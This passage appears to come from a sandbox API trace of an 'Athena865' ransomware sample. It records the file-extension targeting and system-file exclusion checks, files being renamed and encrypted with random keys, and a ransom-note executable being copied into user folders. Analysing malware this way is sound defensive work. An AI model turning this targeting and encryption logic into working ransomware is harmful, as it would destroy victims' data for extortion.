(lpString="marshal") returned 7 [0051.900] lstrcmpiW (lpString1="_v4.bmp", lpString2="marshal") returned -1 [0051.900] lstrlenW (lpString="mas") returned 3 [0051.900] lstrcmpiW (lpString1="bmp", lpString2="mas") returned -1 [0051.900] lstrlenW (lpString="mav") returned 3 [0051.900] lstrcmpiW (lpString1="bmp", lpString2="mav") returned -1 [0051.900] lstrlenW (lpString="maw") returned 3 [0051.900] lstrcmpiW (lpString1="bmp", lpString2="maw") returned -1 [0051.900] lstrlenW (lpString="mdbhtml") returned 7 [0051.900] lstrcmpiW (lpString1="_v4.bmp", lpString2="mdbhtml") returned -1 [0051.900] lstrlenW (lpString="mdn") returned 3 [0051.900] lstrcmpiW (lpString1="bmp", lpString2="mdn") returned -1 [0051.900] lstrlenW (lpString="mdt") returned 3 [0051.900] lstrcmpiW (lpString1="bmp", lpString2="mdt") returned -1 [0051.900] lstrlenW (lpString="mfd") returned 3 [0051.900] lstrcmpiW (lpString1="bmp", lpString2="mfd") returned -1 [0051.901] lstrlenW (lpString="mpd") returned 3 [0051.901] lstrcmpiW (lpString1="bmp", lpString2="mpd") returned -1 [0051.901] lstrlenW (lpString="mrg") returned 3 [0051.901] lstrcmpiW (lpString1="bmp", lpString2="mrg") returned -1 [0051.901] lstrlenW (lpString="mud") returned 3 [0051.901] lstrcmpiW (lpString1="bmp", lpString2="mud") returned -1 [0051.901] lstrlenW (lpString="mwb") returned 3 [0051.901] lstrcmpiW (lpString1="bmp", lpString2="mwb") returned -1 [0051.901] lstrlenW (lpString="myd") returned 3 [0051.901] lstrcmpiW (lpString1="bmp", lpString2="myd") returned -1 [0051.901] lstrlenW (lpString="ndf") returned 3 [0051.901] lstrcmpiW (lpString1="bmp", lpString2="ndf") returned -1 [0051.901] lstrlenW (lpString="nnt") returned 3 [0051.901] lstrcmpiW (lpString1="bmp", lpString2="nnt") returned -1 [0051.901] lstrlenW (lpString="nrmlib") returned 6 [0051.901] lstrcmpiW (lpString1="v4.bmp", lpString2="nrmlib") returned 1 [0051.901] lstrlenW (lpString="ns2") returned 3 [0051.901] lstrcmpiW (lpString1="bmp", lpString2="ns2") returned -1 [0051.901] lstrlenW (lpString="ns3") returned 3 [0051.901] lstrcmpiW (lpString1="bmp", lpString2="ns3") returned -1 [0051.901] lstrlenW (lpString="ns4") returned 3 [0051.901] lstrcmpiW (lpString1="bmp", lpString2="ns4") returned -1 [0051.901] lstrlenW (lpString="nsf") returned 3 [0051.901] lstrcmpiW (lpString1="bmp", lpString2="nsf") returned -1 [0051.901] lstrlenW (lpString="nv") returned 2 [0051.901] lstrcmpiW (lpString1="mp", lpString2="nv") returned -1 [0051.901] lstrlenW (lpString="nv2") returned 3 [0051.901] lstrcmpiW (lpString1="bmp", lpString2="nv2") returned -1 [0051.901] lstrlenW (lpString="nwdb") returned 4 [0051.901] lstrcmpiW (lpString1=".bmp", lpString2="nwdb") returned -1 [0051.901] lstrlenW (lpString="nyf") returned 3 [0051.901] lstrcmpiW (lpString1="bmp", lpString2="nyf") returned -1 [0051.901] lstrlenW (lpString="odb") returned 3 [0051.901] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1 [0051.902] lstrlenW (lpString="odb") returned 3 [0051.902] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1 [0051.902] lstrlenW (lpString="oqy") returned 3 [0051.902] lstrcmpiW (lpString1="bmp", lpString2="oqy") returned -1 [0051.902] lstrlenW (lpString="ora") returned 3 [0051.902] lstrcmpiW (lpString1="bmp", lpString2="ora") returned -1 [0051.902] lstrlenW (lpString="orx") returned 3 [0051.902] lstrcmpiW (lpString1="bmp", lpString2="orx") returned -1 [0051.902] lstrlenW (lpString="owc") returned 3 [0051.902] lstrcmpiW (lpString1="bmp", lpString2="owc") returned -1 [0051.902] lstrlenW (lpString="p96") returned 3 [0051.902] lstrcmpiW (lpString1="bmp", lpString2="p96") returned -1 [0051.902] lstrlenW (lpString="p97") returned 3 [0051.902] lstrcmpiW (lpString1="bmp", lpString2="p97") returned -1 [0051.902] lstrlenW (lpString="pan") returned 3 [0051.902] lstrcmpiW (lpString1="bmp", lpString2="pan") returned -1 [0051.902] lstrlenW (lpString="pdb") returned 3 [0051.902] lstrcmpiW (lpString1="bmp", lpString2="pdb") returned -1 [0051.902] lstrlenW (lpString="pdm") returned 3 [0051.902] lstrcmpiW (lpString1="bmp", lpString2="pdm") returned -1 [0051.902] lstrlenW (lpString="pnz") returned 3 [0051.902] lstrcmpiW (lpString1="bmp", lpString2="pnz") returned -1 [0051.902] lstrlenW (lpString="qry") returned 3 [0051.902] lstrcmpiW (lpString1="bmp", lpString2="qry") returned -1 [0051.902] lstrlenW (lpString="qvd") returned 3 [0051.902] lstrcmpiW (lpString1="bmp", lpString2="qvd") returned -1 [0051.902] lstrlenW (lpString="rbf") returned 3 [0051.902] lstrcmpiW (lpString1="bmp", lpString2="rbf") returned -1 [0051.902] lstrlenW (lpString="rctd") returned 4 [0051.902] lstrcmpiW (lpString1=".bmp", lpString2="rctd") returned -1 [0051.902] lstrlenW (lpString="rod") returned 3 [0051.902] lstrcmpiW (lpString1="bmp", lpString2="rod") returned -1 [0051.903] lstrlenW (lpString="rodx") returned 4 [0051.903] lstrcmpiW (lpString1=".bmp", lpString2="rodx") returned -1 [0051.903] lstrlenW (lpString="rpd") returned 3 [0051.903] lstrcmpiW (lpString1="bmp", lpString2="rpd") returned -1 [0051.903] lstrlenW (lpString="rsd") returned 3 [0051.903] lstrcmpiW (lpString1="bmp", lpString2="rsd") returned -1 [0051.903] lstrlenW (lpString="sas7bdat") returned 8 [0051.903] lstrcmpiW (lpString1="9_v4.bmp", lpString2="sas7bdat") returned -1 [0051.903] lstrlenW (lpString="sbf") returned 3 [0051.903] lstrcmpiW (lpString1="bmp", lpString2="sbf") returned -1 [0051.903] lstrlenW (lpString="scx") returned 3 [0051.903] lstrcmpiW (lpString1="bmp", lpString2="scx") returned -1 [0051.903] lstrlenW (lpString="sdb") returned 3 [0051.903] lstrcmpiW (lpString1="bmp", lpString2="sdb") returned -1 [0051.903] lstrlenW (lpString="sdc") returned 3 [0051.903] lstrcmpiW (lpString1="bmp", lpString2="sdc") returned -1 [0051.903] lstrlenW (lpString="sdf") returned 3 [0051.903] lstrcmpiW (lpString1="bmp", lpString2="sdf") returned -1 [0051.903] lstrlenW (lpString="sis") returned 3 [0051.903] lstrcmpiW (lpString1="bmp", lpString2="sis") returned -1 [0051.903] lstrlenW (lpString="spq") returned 3 [0051.903] lstrcmpiW (lpString1="bmp", lpString2="spq") returned -1 [0051.903] lstrlenW (lpString="te") returned 2 [0051.903] lstrcmpiW (lpString1="mp", lpString2="te") returned -1 [0051.904] lstrlenW (lpString="teacher") returned 7 [0051.904] lstrcmpiW (lpString1="_v4.bmp", lpString2="teacher") returned -1 [0051.904] lstrlenW (lpString="tmd") returned 3 [0051.904] lstrcmpiW (lpString1="bmp", lpString2="tmd") returned -1 [0051.904] lstrlenW (lpString="tps") returned 3 [0051.904] lstrcmpiW (lpString1="bmp", lpString2="tps") returned -1 [0051.904] lstrlenW (lpString="trc") returned 3 [0051.904] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1 [0051.904] lstrlenW (lpString="trc") returned 3 [0051.904] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1 [0051.904] lstrlenW (lpString="trm") returned 3 [0051.904] lstrcmpiW (lpString1="bmp", lpString2="trm") returned -1 [0051.904] lstrlenW (lpString="udb") returned 3 [0051.904] lstrcmpiW (lpString1="bmp", lpString2="udb") returned -1 [0051.904] lstrlenW (lpString="udl") returned 3 [0051.904] lstrcmpiW (lpString1="bmp", lpString2="udl") returned -1 [0051.904] lstrlenW (lpString="usr") returned 3 [0051.904] lstrcmpiW (lpString1="bmp", lpString2="usr") returned -1 [0051.904] lstrlenW (lpString="v12") returned 3 [0051.904] lstrcmpiW (lpString1="bmp", lpString2="v12") returned -1 [0051.904] lstrlenW (lpString="vis") returned 3 [0051.904] lstrcmpiW (lpString1="bmp", lpString2="vis") returned -1 [0051.904] lstrlenW (lpString="vpd") returned 3 [0051.904] lstrcmpiW (lpString1="bmp", lpString2="vpd") returned -1 [0051.904] lstrlenW (lpString="vvv") returned 3 [0051.904] lstrcmpiW (lpString1="bmp", lpString2="vvv") returned -1 [0051.904] lstrlenW (lpString="wdb") returned 3 [0051.904] lstrcmpiW (lpString1="bmp", lpString2="wdb") returned -1 [0051.904] lstrlenW (lpString="wmdb") returned 4 [0051.904] lstrcmpiW (lpString1=".bmp", lpString2="wmdb") returned -1 [0051.904] lstrlenW (lpString="wrk") returned 3 [0051.904] lstrcmpiW (lpString1="bmp", lpString2="wrk") returned -1 [0051.904] lstrlenW (lpString="xdb") returned 3 [0051.905] lstrcmpiW (lpString1="bmp", lpString2="xdb") returned -1 [0051.905] lstrlenW (lpString="xld") returned 3 [0051.905] lstrcmpiW (lpString1="bmp", lpString2="xld") returned -1 [0051.905] lstrlenW (lpString="xmlff") returned 5 [0051.905] lstrcmpiW (lpString1="4.bmp", lpString2="xmlff") returned -1 [0051.905] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZzLapX9_v4.bmp.Athena865") returned 80 [0051.905] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZzLapX9_v4.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\zzlapx9_v4.bmp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZzLapX9_v4.bmp.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\zzlapx9_v4.bmp.athena865"), dwFlags=0x1) returned 1 [0051.905] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZzLapX9_v4.bmp.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\zzlapx9_v4.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.905] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36957) returned 1 [0051.906] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.906] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.906] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.907] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9360, lpName=0x0) returned 0x154 [0051.907] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9360) returned 0x100000 [0051.908] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.908] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.908] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.910] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.910] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.910] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp", lpString2=".") returned 1 [0051.910] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp", lpString2="..") returned 1 [0051.910] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp", lpString2="windows") returned -1 [0051.910] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp", lpString2="bootmgr") returned -1 [0051.911] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp", lpString2="temp") returned -1 [0051.911] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp", lpString2="pagefile.sys") returned -1 [0051.911] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp", lpString2="boot") returned -1 [0051.911] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp", lpString2="ids.txt") returned -1 [0051.911] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp", lpString2="ntuser.dat") returned -1 [0051.911] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp", lpString2="perflogs") returned -1 [0051.911] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp", lpString2="MSBuild") returned -1 [0051.911] lstrlenW (lpString="_F0g8hcXHkDTsY8z.bmp") returned 20 [0051.911] lstrcpyW (in: lpString1=0x241e8b8, lpString2="_F0g8hcXHkDTsY8z.bmp" | out: lpString1="_F0g8hcXHkDTsY8z.bmp") returned="_F0g8hcXHkDTsY8z.bmp" [0051.911] lstrlenW (lpString="_F0g8hcXHkDTsY8z.bmp") returned 20 [0051.911] lstrlenW (lpString="Athena865") returned 9 [0051.911] lstrcmpiW (lpString1="TsY8z.bmp", lpString2="Athena865") returned 1 [0051.911] lstrlenW (lpString=".dll") returned 4 [0051.911] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp", lpString2=".dll") returned 1 [0051.911] lstrlenW (lpString=".lnk") returned 4 [0051.911] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp", lpString2=".lnk") returned 1 [0051.911] lstrlenW (lpString=".ini") returned 4 [0051.911] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp", lpString2=".ini") returned 1 [0051.911] lstrlenW (lpString=".sys") returned 4 [0051.911] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp", lpString2=".sys") returned 1 [0051.911] lstrlenW (lpString="_F0g8hcXHkDTsY8z.bmp") returned 20 [0051.911] lstrlenW (lpString="bak") returned 3 [0051.911] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1 [0051.911] lstrlenW (lpString="ba_") returned 3 [0051.911] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1 [0051.911] lstrlenW (lpString="dbb") returned 3 [0051.911] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1 [0051.911] lstrlenW (lpString="vmdk") returned 4 [0051.911] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1 [0051.911] lstrlenW (lpString="rar") returned 3 [0051.911] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1 [0051.912] lstrlenW (lpString="zip") returned 3 [0051.912] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1 [0051.912] lstrlenW (lpString="tgz") returned 3 [0051.912] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1 [0051.912] lstrlenW (lpString="vbox") returned 4 [0051.912] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1 [0051.912] lstrlenW (lpString="vdi") returned 3 [0051.912] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1 [0051.912] lstrlenW (lpString="vhd") returned 3 [0051.912] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1 [0051.912] lstrlenW (lpString="vhdx") returned 4 [0051.912] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1 [0051.912] lstrlenW (lpString="avhd") returned 4 [0051.912] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1 [0051.912] lstrlenW (lpString="db") returned 2 [0051.912] lstrcmpiW (lpString1="mp", lpString2="db") returned 1 [0051.912] lstrlenW (lpString="db2") returned 3 [0051.912] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1 [0051.912] lstrlenW (lpString="db3") returned 3 [0051.912] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1 [0051.912] lstrlenW (lpString="dbf") returned 3 [0051.912] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1 [0051.912] lstrlenW (lpString="mdf") returned 3 [0051.912] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1 [0051.912] lstrlenW (lpString="mdb") returned 3 [0051.912] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1 [0051.912] lstrlenW (lpString="sql") returned 3 [0051.912] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1 [0051.912] lstrlenW (lpString="sqlite") returned 6 [0051.912] lstrcmpiW (lpString1="8z.bmp", lpString2="sqlite") returned -1 [0051.912] lstrlenW (lpString="sqlite3") returned 7 [0051.912] lstrcmpiW (lpString1="Y8z.bmp", lpString2="sqlite3") returned 1 [0051.912] lstrlenW (lpString="sqlitedb") returned 8 [0051.913] lstrcmpiW (lpString1="sY8z.bmp", lpString2="sqlitedb") returned 1 [0051.913] lstrlenW (lpString="xml") returned 3 [0051.913] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1 [0051.913] lstrlenW (lpString="$er") returned 3 [0051.913] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1 [0051.913] lstrlenW (lpString="4dd") returned 3 [0051.913] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1 [0051.913] lstrlenW (lpString="4dl") returned 3 [0051.913] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1 [0051.913] lstrlenW (lpString="^^^") returned 3 [0051.913] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1 [0051.913] lstrlenW (lpString="abs") returned 3 [0051.913] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1 [0051.913] lstrlenW (lpString="abx") returned 3 [0051.913] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1 [0051.913] lstrlenW (lpString="accdb") returned 5 [0051.913] lstrcmpiW (lpString1="z.bmp", lpString2="accdb") returned 1 [0051.913] lstrlenW (lpString="accdc") returned 5 [0051.913] lstrcmpiW (lpString1="z.bmp", lpString2="accdc") returned 1 [0051.913] lstrlenW (lpString="accde") returned 5 [0051.913] lstrcmpiW (lpString1="z.bmp", lpString2="accde") returned 1 [0051.913] lstrlenW (lpString="accdr") returned 5 [0051.913] lstrcmpiW (lpString1="z.bmp", lpString2="accdr") returned 1 [0051.913] lstrlenW (lpString="accdt") returned 5 [0051.913] lstrcmpiW (lpString1="z.bmp", lpString2="accdt") returned 1 [0051.913] lstrlenW (lpString="accdw") returned 5 [0051.913] lstrcmpiW (lpString1="z.bmp", lpString2="accdw") returned 1 [0051.913] lstrlenW (lpString="accft") returned 5 [0051.913] lstrcmpiW (lpString1="z.bmp", lpString2="accft") returned 1 [0051.913] lstrlenW (lpString="adb") returned 3 [0051.913] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0051.913] lstrlenW (lpString="adb") returned 3 [0051.913] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0051.914] lstrlenW (lpString="ade") returned 3 [0051.914] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1 [0051.914] lstrlenW (lpString="adf") returned 3 [0051.914] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1 [0051.914] lstrlenW (lpString="adn") returned 3 [0051.914] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1 [0051.914] lstrlenW (lpString="adp") returned 3 [0051.914] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1 [0051.914] lstrlenW (lpString="alf") returned 3 [0051.914] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1 [0051.914] lstrlenW (lpString="ask") returned 3 [0051.914] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1 [0051.914] lstrlenW (lpString="btr") returned 3 [0051.914] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1 [0051.914] lstrlenW (lpString="cat") returned 3 [0051.914] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1 [0051.914] lstrlenW (lpString="cdb") returned 3 [0051.914] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1 [0051.914] lstrlenW (lpString="ckp") returned 3 [0051.914] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1 [0051.914] lstrlenW (lpString="cma") returned 3 [0051.914] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1 [0051.914] lstrlenW (lpString="cpd") returned 3 [0051.914] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1 [0051.914] lstrlenW (lpString="dacpac") returned 6 [0051.914] lstrcmpiW (lpString1="8z.bmp", lpString2="dacpac") returned -1 [0051.914] lstrlenW (lpString="dad") returned 3 [0051.914] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1 [0051.914] lstrlenW (lpString="dadiagrams") returned 10 [0051.914] lstrcmpiW (lpString1="DTsY8z.bmp", lpString2="dadiagrams") returned 1 [0051.914] lstrlenW (lpString="daschema") returned 8 [0051.914] lstrcmpiW (lpString1="sY8z.bmp", lpString2="daschema") returned 1 [0051.914] lstrlenW (lpString="db-journal") returned 10 [0051.915] lstrcmpiW (lpString1="DTsY8z.bmp", lpString2="db-journal") returned 1 [0051.915] lstrlenW (lpString="db-shm") returned 6 [0051.915] lstrcmpiW (lpString1="8z.bmp", lpString2="db-shm") returned -1 [0051.915] lstrlenW (lpString="db-wal") returned 6 [0051.915] lstrcmpiW (lpString1="8z.bmp", lpString2="db-wal") returned -1 [0051.915] lstrlenW (lpString="dbc") returned 3 [0051.915] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1 [0051.915] lstrlenW (lpString="dbs") returned 3 [0051.915] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1 [0051.915] lstrlenW (lpString="dbt") returned 3 [0051.915] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1 [0051.915] lstrlenW (lpString="dbv") returned 3 [0051.915] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1 [0051.915] lstrlenW (lpString="dbx") returned 3 [0051.915] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1 [0051.915] lstrlenW (lpString="dcb") returned 3 [0051.915] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1 [0051.915] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\_F0g8hcXHkDTsY8z.bmp.Athena865") returned 86 [0051.915] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\_F0g8hcXHkDTsY8z.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\_f0g8hcxhkdtsy8z.bmp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\_F0g8hcXHkDTsY8z.bmp.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\_f0g8hcxhkdtsy8z.bmp.athena865"), dwFlags=0x1) returned 1 [0051.916] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\_F0g8hcXHkDTsY8z.bmp.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\_f0g8hcxhkdtsy8z.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.916] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=49610) returned 1 [0051.916] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.917] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.917] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.917] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc4d0, lpName=0x0) returned 0x154 [0051.917] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc4d0) returned 0x100000 [0051.918] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.920] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.920] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.922] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\PrintHood" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\PrintHood" [0051.923] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\PrintHood" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\PrintHood" [0051.923] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0051.923] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\printhood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0051.923] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\printhood\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0051.923] GetLastError () returned 0x0 [0051.923] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0051.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0051.923] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0051.924] CloseHandle (hObject=0xf4) returned 1 [0051.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0051.924] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0051.924] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcef6180, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0051.925] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.925] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.925] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0051.925] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcef6180, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.925] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.925] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.925] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0051.925] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0051.925] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, 